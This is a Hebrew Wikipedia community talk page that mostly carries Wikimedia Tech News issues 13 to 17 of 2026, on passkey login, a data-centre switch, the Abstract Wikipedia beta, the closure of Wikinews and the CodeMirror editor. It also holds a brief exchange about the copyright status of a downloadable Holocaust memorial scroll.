התבנית {{תב|הסבר בוט חוקים}} יכולה לקבל פרמטר של דף מספר החוקים הפתוח, ואז תחליף את הדוגמה בדף הרלוונטי. זה מיועד להסבר עבור משתמשים שערכו דף ספציפי. ‏– &lt;font face=&quot;Monotype Corsiva&quot;&gt;[[user:Fuzzy|Fuzzy]]&lt;/font&gt; ‏– 14:59, 17 במרץ 2026 (IST)

== ידיעות הטכנולוגיה 2026 – גיליון 13 ==

&lt;section begin=&quot;technews-2026-W13&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/13|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* משתמשי אתרי ויקימדיה יכולים עכשיו להתחבר בלי סיסמה, באמצעות מפתח מעבר (passkey). מדובר בשיטה בטוחה התומכת בטביעת אצבע, זיהוי פנים או קוד PIN. כתוצאה מהשינוי ירגישו כל המשתמשים שיבחרו להתחבר בלי סיסמה שנהיה קל יותר, מהיר יותר ובטוח יותר להתחבר לחשבון. אפשרות ההתחברות באמצעות מפתח מופיעה עכשיו כהצעה למילוי אוטומטי בשדה שם המשתמש. בקרוב יופיע כפתור חדש &quot;[[phab:T417120|להתחבר עם מפתח]]&quot; למשתמשים שכבר הדליקו את התכונה החדשה. העדכון הזה ישפר את האבטחה ואת חוויית המשתמש. [[c:File:Passwordless_login_screencast.webm|סרטון צילום מסך]] מדגים את ההתחברות בלי סיסמה צעד אחר צעד.
* [[m:Special:MyLanguage/Tech/Server switch|כל אתרי ויקי יעברו למצב לקריאה בלבד]] למשך כמה דקות ביום רביעי, 25 במרץ 2026, ב-[https://zonestamp.toolforge.org/1774450800 15:00 UTC] (או 17:00 שעון ישראל). מדובר בבדיקת גיבוי של מעבר מרכז הנתונים [[wikitech:Deployments/Yearly calendar|המתקיים מדי חצה שנה]]. במהלת המעבר תופנה כל תנועת הרשת של ויקימדיה ממרכז מידע ראשי אחד למרכז גיבוי כדי לבדוק זמינות ולמנוע הפרעות בשירות אפילו במצבי חירום.

'''עדכונים לעורכים'''
* משתמשי אתרי ויקימדיה יכולים עכשיו לייבא את ההודעות וההתרעות שלהם שגילן יותר מחמש שנים באמצעות [[toolforge:echo-chamber|כלי חדש בטולפורדג']]. זה יאפשר למשתמשים לשמור על הודעות משובות והן לא יאבדו במהלך המחיקה המתוכנן של כל ההודעות מלפני יותר מחמש שנים, כפי שכבר פורסם. [https://phabricator.wikimedia.org/T383948]
* עורכי ויקיפדיות באינדונזית, תאית, טורקית ובאנגלית פשוטה יכולים עכשיו להשתמש בדף Special:PersonalDashboard. זאת [[mw:Special:MyLanguage/Moderator Tools/Dashboard|הגרסה הראשונית של החוויה]] שמציגה למשתמשים דרכי ניטור, ומקלה עליהם לעבור מעריכות בלבד להשתתפות מתקדמת יותר בניטור האתר שלהם. [https://phabricator.wikimedia.org/T402647]
* בדף [[Special:Block|מיוחד:חסימה]] הופיעו שני שיפורי ממשק קטנים. המפעילים יכולים עכשיו לבצע חסימות ללא הגבלת זמן באמצעות כפתור רדיו מיועד בפרק המוקדש לזמן החסימה. כמו כן, הבחירה בחסימה ללא הגבלת זמן תציע רשימת סיבות שונה לבחירה. את הרשימה ניתן לעדכן בדף [[MediaWiki:Ipbreason-indef-dropdown|מדיה ויקי:Ipbreason-indef-dropdown]].&amp;rlm; [https://phabricator.wikimedia.org/T401823]
* משתמשים בניידים ב[[mw:Special:MyLanguage/Contributors/Account Creation Experiments#Logged-out|מספר אתרי ויקי]], לא כולל בעברית, יכולים לראות אזהרת עריכה מחוץ לחשבון משופרת, וזאת הודות לעדכונים האחרונים של צוות Growth. השינויים נפרסו בשבוע שעבר כחלק מהמאצים המתמשכים והבדיקות שמטרתם לשפר את [[mw:Special:MyLanguage/Contributors/Account Creation Experiments|חוויית יצירת החשבון בניידים]] ובכך להגדיל את השתתפות. [https://phabricator.wikimedia.org/T408484]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:36|התקלה שדווחה|כל {{formatnum:36}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקן הבאג שמנע ממשתמשי הדפדפנים הניידים לראות סיבות לחסימות מרובות. עכשיו מופיעות כל החסימות התקפות בוויקיפדיה.

'''עדכונים לעורכים הטכניים'''
* מארזים שנבנו באמצעות טולפורג' יקבלו בקרוב גרסת buildpacks משודרגת, ובכך תתאפשר תמיכה בגרסאות חדשות יותר של שפות תכנות, כמו כן יוכנסו שיפורים ותיקונים נוספים. משתמשי Toolforge Build Service מוזמנים לעבור על [https://lists.wikimedia.org/hyperkitty/list/cloud-announce@lists.wikimedia.org/thread/EMYTA32EV2V5SQ2JIEOD2CL66YFIZEKV/ הודעת המייל] שנשלחה לאחרונה ולעדכן את הגדרות הבנייה במידת הצורך כדי להבטיח את תאימות הכלים שלהם. [https://wikitech.wikimedia.org/w/index.php?title=Help:Toolforge/Building_container_images&amp;oldid=2392097#Buildpack_environment_upgrade_process][https://phabricator.wikimedia.org/T380127]

* אתר ויקי לתיעוד [https://api.wikimedia.org/wiki/Main_Page פורטל API] ייסגר ביוני 2026. מפתחות API שנוצרו בפורטל ימשיכו לעבוד כרגיל. נקודות הקצה של api.wikimedia.org יוכרזו כמיושנות בהדרגה החל מיולי 2026. התיעוד שבפורטל יעבור לאתר [[mw:Wikimedia APIs|mediawiki.org]]. פרטים נוספים מופיעים ב[[wikitech:API Portal/Deprecation|דף המיזם]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.21|MediaWiki]]

'''לעומק'''
* [[m:Special:MyLanguage/WMDE Technical Wishes|מיזם המשאלות הטכניות של ויקימדיה הגרמנית]] שוקל לבצע שיפורים ב[[m:WMDE Technical Wishes/References/VisualEditor automatic reference names|שמות ההערות הנוצרות אוטומטית בעורך החזותי]]. אנא בדקו את [[m:WMDE Technical Wishes/References/VisualEditor automatic reference names#Proposed solutions|הפתרונות המוצעים]] והשתתפו ב[[m:Talk:WMDE Technical Wishes/References/VisualEditor automatic reference names#Request for comment|דיון]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/13|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W13&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 18:51, 23 במרץ 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30268305 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 14 ==

&lt;section begin=&quot;technews-2026-W14&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/14|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* גרסת הבטא של [[abstract:|Abstract Wikipedia]], אתר ויקימדיה חדש שלא תלוי בשפה, נפתחה השבוע. האתר מאפשר לקהילות לבנות ערכי ויקיפדיה בשפתם המקומית, כך שניתן יהיה לקרוא אותם בקלות גם בשפות אחרות. האתר משתמש באלגוריתמים מוויקיפונקציות בהתבסס על מבנה הנתונים מוויקינתונים.

'''עדכונים לעורכים'''
* הצוות Growth מריץ בדיקת A/B לגבי הודעה ברורה יותר וידידותית יותר למשתמש המזמינה ליצור חשבון ויקי. כרגע כשמשתמשים לא מחוברים בנייד מתחילים לערוך, הם מקבלים הודעת אזהרה צורמת שיכולה לגרום לתחושת ייאוש. היא גם מדברת על חשבונות זמניים כאמצעי ברירת מחדל, במקום לעודד יצירת חשבון. הבדיקה רצה על עשר ויקיפדיות, כולל ערבית, צרפתית, ספרדית וגרמנית. [[mw:Special:MyLanguage/Contributors/Account Creation Experiments#2. Improve logged-out warning message (T415160)|ראו פרטים נוספים]].
* צוות היישומונים של ויקימדיה מזמין להשאיר משוב בנושא [[mw:Special:MyLanguage/Wikimedia Apps/Team/Future of Editing on the Mobile Apps|דרך העריכה הנכונה ביישומוני ויקיפדיה לניידים]]. הדיון מתמקד בשיפורים בדרכי גישה לכלי עריכה לאחר לחיצה על כפתור העריכה. מדובר בחלק ממאמץ רחב יותר לעודד את הקוראים המעוניינים בעריכה ולתת להם דרך ידידותית יותר להתחיל בכך.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:45|התקלה שדווחה|כל {{formatnum:45}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה הבעיה בשליפת מידע מארכיון הנתונים הגדול [https://www.newspapers.com Newspapers.com] עקב חסימת הבקשות ל[[mw:Special:MyLanguage/Citoid|ציטואיד]]. [https://phabricator.wikimedia.org/T419903]

'''עדכונים לעורכים הטכניים'''
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.22|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/14|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W14&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 22:26, 30 במרץ 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30329462 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 15 ==

&lt;section begin=&quot;technews-2026-W15&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/15|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''

* ההרחבה [[mw:Special:MyLanguage/Help:Extension:CampaignEvents|CampaignEvents]] כוללת עכשיו כלי חדש, הצבת יעדים. הוא מאפשר למארגנים לקבוע יעדים לאירועים, דוגמת מספר ערכים ליצירה או מספר תורמים משתתפים, ולעקוב אחר היעדים הללו בזמן אמת. כמו כן, העורכים יכולים לעבוד כדי להשיג מטרות משותפות ולראות את ההשפעה הכוללת תוך כדי כך. הכלי זמין בכל אתרי ויקי של ויקימדיה. ניתן לקרוא [[mw:Special:MyLanguage/Help:Extension:CampaignEvents/Registration/Collaborative contributions#Goal setting|תיעוד]].
* [[File:Maki-gift-15.svg|12px|link=|class=skin-invert|סקר המשאלות]] [[mw:Special:MyLanguage/Help:Watchlist labels|תוויות רשימת המעקב]] החדשות, שפורסמו ב[[m:Special:MyLanguage/Tech/News/2026/07|גיליון 7 של ידיעות הטכנולוגיה השנה]], זמינות עכשיו גם בעורך החזותי, גם בעורך קוד מקור, וגם באמצעות אייקון הכוכב למעקב בראשית הדף (או כפתור המעקב בעיצובים בהם אין כוכב). עד עכשיו אפשר היה להוסיף תוויות רק באמצעות [[Special:EditWatchlist|מיוחד:עריכת רשימת המעקב]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:23|התקלה שדווחה|כל {{formatnum:23}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה הבעיה שגרמה לדפי שיחה בניידים הכוללים נושאים ריקים לצאת מכלל שימוש. [https://phabricator.wikimedia.org/T419171]

'''עדכונים לעורכים הטכניים'''
* &lt;span class=&quot;mw-translate-fuzzy&quot;&gt;[[m:Special:MyLanguage/WMDE Technical Wishes/Sub-referencing|הערות שוליים משניות]] המאפשרות לעורכים להוסיף פרטים להערות קיימות ללא צורך לכתוב את ההערות הללו מחדש יתחילו לפעול ב[[phab:T414094|אתרי ויקי נוספים]] בהמשך השנה. לכל האתרים מימין לשמאל, כולל בעברית, זה יגיע בסוף במועד לא ידוע. אתרי ויקי המשתמשים בגאדג'ט [[mw:Special:MyLanguage/Reference Tooltips|Reference Tooltips]] מוזמנים לעדכן את הקוד, הנמצא בדרך כלל בדף [[m:MediaWiki:Gadget-ReferenceTooltips.js]], בדומה למה שנעשה [https://en.wikipedia.org/w/index.php?diff=1344408362 כאן], כדי לוודא תאימות להערות המשניות. ייתכן שגם גאדג'טים אחרים המטפלים בהערות שוליים יצטרכו תיקון.&lt;/span&gt; [https://phabricator.wikimedia.org/T416304]
* כל אתרי ויקיחדשות ייסגרו ויעברו למצב לקריאה בלבד ב-4 במאי 2026. התוכן יישאר זמין אבל לא יהיו עריכות חדשות או ערכים חדשים. הסגירה אושרה בדי חבר הנאמנים של קרן ויקימדיה לאחר דיונים נרחבים. [[m:Wikimedia Foundation Board noticeboard#Board of Trustees Approves Closure of Wikinews|לקריאה נוספת]].
* ל-[[:mw:Special:MyLanguage/API:Action API|Action API]] יש כמה פורמטים להצגת התוצאות. הפורמט &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;format=php&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; יוסר בקרוב. יש לוודא שסקריפטים ובוטים שהשתמשו בו יעברו ל[[mw:Special:MyLanguage/API:Data formats#Output|פורמט JSON]]. ההסרה צפויה להשפיע על מעט מאוד סקריפטים ובוטים. [https://phabricator.wikimedia.org/T118538]
* הדף [[Special:NamespaceInfo|מיוחד:NamespaceInfo]] מציג מעכשיו גם שמות נרדפים של מרחבי השם. למשל, בוויקיפדיה העברית מופיע &quot;וק&quot; לצד &quot;ויקיפדיה&quot;. [https://phabricator.wikimedia.org/T381455]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.23|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/15|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W15&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 19:19, 6 באפריל 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30362761 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 16 ==

&lt;section begin=&quot;technews-2026-W16&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/16|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* עורכים מנוסים מוזמנים [https://b24e11a4f1.catalyst.wmcloud.org/wiki/Main_Page לבדוק] את תכונת [[mw:Special:MyLanguage/Article guidance|הנחיית הערכים]] שנוצרה כדי לעזור לעורכים פחות מנוסים ליצור ערכים בוויקיפדיה בעלי מבנה נכון ובהתאמה למדיניות. הסברים לגבי אופן ביצוע הבדיקה [[mw:Special:MyLanguage/Article guidance/Test feature guide|זמינים]] למעוניינים. כמו כן, אחרי קריאת [https://b24e11a4f1.catalyst.wmcloud.org/wiki/Category:Pages_using_article_guidance קווי המתאר], מומלץ להשאיר משוב ב[[mw:Talk:Article guidance|דף השיחה של המיזם]]. בהתבסס על תגובות התכונה תשופר ותעלה למספר ויקיפדיות לניסוי והתאמות. ישנו [[c:File:Article Guidance workflow demo - April 2026.webm|סרטון וידאו]] המסביר את התכונה.
'''עדכונים לעורכים'''
* משתמשים מאומתים יכולים מעכשיו להשתמש בדף [[Special:ChangeContentModel|מיוחד:שינוי מודל התוכן]] כדי [[mw:Special:MyLanguage/Help:ChangeContentModel|ליצור דפים חדשים עם מודל תוכן לבחירה]], דוגמת רשימות לשליחת הודעות המוניות, ברוב אתרי ויקי. זה יהפוך את הפורמטים המגוונים של הדפים לנגישים יותר. ניתן לבדוק האם ההרשאה קיימת באתר ויקי מסוים בדף [[Special:ListGroupRights|מיוחד:רשימת הרשאות לקבוצה]]. [https://phabricator.wikimedia.org/T248294]
* צוות Growth התחיל את [[mw:Special:MyLanguage/Contributors/Account_Creation_Experiments|ניסוי יצירת החשבונות]] בו ייבדק האם הוספת כפתור ליצירת חשבון בראש הדף בדפדפנים הניידים יעלה את כמות החשבונות החדשים ויעודד משתמשים נוספים בניידים לתרום לאתרי ויקי. הניסוי מתקיים עכשיו בוויקיפדיות בהינדי, אינדונזית, בנגלית, תאית ועברית אצל 10% ממשתמשים לא מחוברים בניידים.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:30|התקלה שדווחה|כל {{formatnum:30}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה הבעיה בגללה העורך החזותי נתקע בחלונות עם האנימציה המכובה. [https://phabricator.wikimedia.org/T382856]

'''עדכונים לעורכים הטכניים'''
* בהמשך השבוע {{int:group-abusefilter}} שישי להם את תכונת הבטא [[mw:Special:MyLanguage/Help:Extension:CodeMirror|{{int:codemirror-beta-feature-title}}]] מופעלת יקבלו את [[mw:Special:MyLanguage/Extension:CodeMirror|CodeMirror]] במקום [[mw:Special:MyLanguage/Extension:CodeEditor|ACE]] בתור העורך ב[[Special:AbuseFilter|מסנן ההשחתות]]. זה נעשה כחלק מהמהלך הרחב יותר להפוך את חווית המשתמשים לאחידה יותר בכל סוגי העורכים. [https://phabricator.wikimedia.org/T399673][https://phabricator.wikimedia.org/T419332]
* כלים ובוטים המשתמשים ב-[[mw:Special:MyLanguage/Notifications/API|API ההודעות]] יצטרכו לעדכן את ההרשאות של OAuth או של  BotPassword כדי לקבל גישה להודעות פרטיות. [https://phabricator.wikimedia.org/T421991]
* כתוצאה משדרוג ספרייה ישתבש המיון של הקטגוריות החל מ-20 באפריל. סקריפט המעבר ירוץ כדי לתקן את זה, עניין שייקח שעות או ימים, תלוי בגודל האתר. למשל, זה ייקח שבוע בוויקיאנגלית. [https://phabricator.wikimedia.org/T422544]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.24|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/16|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W16&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 18:19, 13 באפריל 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30380527 --&gt;

== זכויות יוצרים ==

באתר מכון שכטר יש להם מגילת השואה להורדה בחינם. האם זאת אומרת שאפר להעלות אותו כטקסט?

https://schechter.ac.il/release/the-shoah-scroll-online-version/

&quot;לראשונה, מגילת השואה עלתה לאתר האינטרנט של מכון שכטר למדעי היהדות לקריאה ולהורדה בפורמט PDF לכל החפץ בכך.
נזכור!
מגילת השואה, הייחודית ליום השואה, בהוצאת מכון שכטר למדעי היהדות וכנסת רבנים העולמית הועלתה השנה לראשונה לאינטרנט והיא זמינה להורדה מכל מקום בעולם בחמש שפות שונות. &quot; [[משתמש:AdoniTzedek|AdoniTzedek]] ([[שיחת משתמש:AdoniTzedek|שיחה]]) 22:15, 13 באפריל 2026 (IDT)
: בשום אופן לא. נוסח ההודעה אינו משחרר את היצירה באופן מפורש, ולעומת זאת בדף ה־PDF עצמו כתוב במפורש &quot;כל הזכויות שמורות&quot;. צר לי, ובבניין ציון וירושלים ננוחם, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 22:19, 13 באפריל 2026 (IDT)

== ידיעות הטכנולוגיה 2026 – גיליון 17 ==

&lt;section begin=&quot;technews-2026-W17&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/17|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* ב-21 אפריל, לאחר שנתיים של פיתוח, ייצא מבטא [[mw:Special:MyLanguage/Help:Extension:CodeMirror|{{int:codemirror-beta-feature-title}}]], המכונה גם [[mw:Special:MyLanguage/Extension:CodeMirror|CodeMirror 6]]. הוא מביא לשיפורים בקריאות טקסט וקוד ויקי, צמצום טעויות הקלדה ו[[mw:Special:MyLanguage/Help:Extension:CodeMirror|שיפורים]] נוספים לכל משתמשי צביעת התחביר התקנית. תודה ענקית למתנדב [https://phabricator.wikimedia.org/p/Bhsd/ Bhsd] שפיתח את רוב התכונות, כולל [[mw:Special:MyLanguage/Help:Extension:CodeMirror#Code folding|קיפול הקוד]], [[mw:Special:MyLanguage/Help:Extension:CodeMirror#Autocompletion|השלמה אוטומטית]] ו[[mw:Special:MyLanguage/Help:Extension:CodeMirror#Linting|לינטר]]. [https://phabricator.wikimedia.org/T259059]
* עדכון רחב ליישומון ויקיפדיה עבור iOS יוצא בימים האלו, והוא נועד לחדש את העיצוב כדי להתאים אותו לגרסה האחרונה של &quot;Liquid Glass&quot; של Apple. [https://apps.apple.com/us/app/wikipedia/id324715238 ניתן להוריד את הגרסה החדשה] כדי לראות את העדכון.

'''עדכונים לעורכים'''
* [[mw:Special:MyLanguage/Readers/Reader Experience/WE3.3.4 Reading lists|רשימות קריאה]] היא תכונה המאפשרת לקוראים לשמור ערכים ברשימה לקריאה עתידית. התכונה זמינה עכשיו בבטא  בוויקיפדיות הערבית, הצרפתית, האינדונזית, הווייטנאמית והסינית, ומופעלת כברירת מחדל לכל החשבונות החדשים בכל ויקיפדיות.
* ניסוי החוקר את [[mw:Special:MyLanguage/Readers/Reader Growth/Mobile page previews|הרחבת Page Previews לדפדפנים ניידים]] יתחיל בשבוע של 20 באפריל בוויקיפדיות הערבית, האנגלית, הצרפתית, האיטלקית, הפולנית והווייטנאמית. מדובר בחלונות קופצים המציגים תמונה ממוזערת, פסקה ראשונה וקישור לפתיחת הערך כולו, מה שמביא לשיפור במציאת התוכן. הכלי כבר מופעל במצב מחשב וביישומונים. ניתן לקרוא [[m:Special:MyLanguage/List of experiments in Product and Technology#Template|פרטים נוספים]] על הניסוי והכלי.
* בחלק מאתרי ויקי יראו משתמשים מחוברים שלא [[mw:Special:MyLanguage/Help:Email confirmation|וידאו את כתובת המייל שלהם]] באנרים המזמינים אותם לעשות את זה. וידוא כתובת המייל מאפשר למשתמשים להחזיר גישה לחשבון אחרי איבוד ססמה. [[mw:Special:MyLanguage/Product Safety and Integrity/Account Security#Encouraging users to confirm their email addresses|עוד בנושא]]. [https://phabricator.wikimedia.org/T421366]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:15|התקלה שדווחה|כל {{formatnum:15}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה הבעיה בגללה עורך קוד מקור 2017 התקשה בעריכת דפים גדולים מאוד. זה כלל טעינה אטית, לאגים בתצוגה מקדימה ובגלגול הדף, ובעיות בביצועים במהלך בחירת, חיתוך והדבקת התוכן. [https://phabricator.wikimedia.org/T184857]

'''עדכונים לעורכים הטכניים'''
* כחלק ממעברו של [[mw:Special:MyLanguage/Help:Extension:CodeMirror|CodeMirror]] מחוץ לבטא, ישתמשו כל העורכים ב-[[mw:Special:MyLanguage/Extension:CodeMirror|CodeMirror]] במקום [[mw:Special:MyLanguage/Extension:CodeEditor|ACE]]&amp;rlm; (CodeEditor) לצביעת התחביר בזמן עריכת דפי JavaScript,&amp;rlm; CSS,&amp;rlm; JSON,&amp;rlm; Vue&amp;rlm; ולואה. [https://phabricator.wikimedia.org/T419332]
* השירות &lt;code&gt;mirrors.wikimedia.org&lt;/code&gt; עבור משתמשי Debian ו-Ubuntu ייסגר ב-15 במאי. משאבי השירות יוחלפו באפשרויות חדשות וטובות יותר. חלק מהמשתמשים יצטרכו לעבור לשרת אחר, מה שיכול לקחת זמן. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/LJYRIS4WB66HIRCAO4GIDTXCMDVZRBMA/ פרטים נוספים]. [https://phabricator.wikimedia.org/T416707]
* הטבלאות &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;image&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; ו-&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;oldimage&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; הוסרו מ[[wikitech:Help:Wiki Replicas|וויקירפליקות]]. אם הכלים או השאילתות שלכם פונים ל-&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;image&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; או ל-&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;oldimage&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; ישירות, אנא עדכנו אותם כדי שישתמשו בטבלאות &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;file&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; ו-&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;filerevision&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; לפני 28 במאי. [https://phabricator.wikimedia.org/T28741]
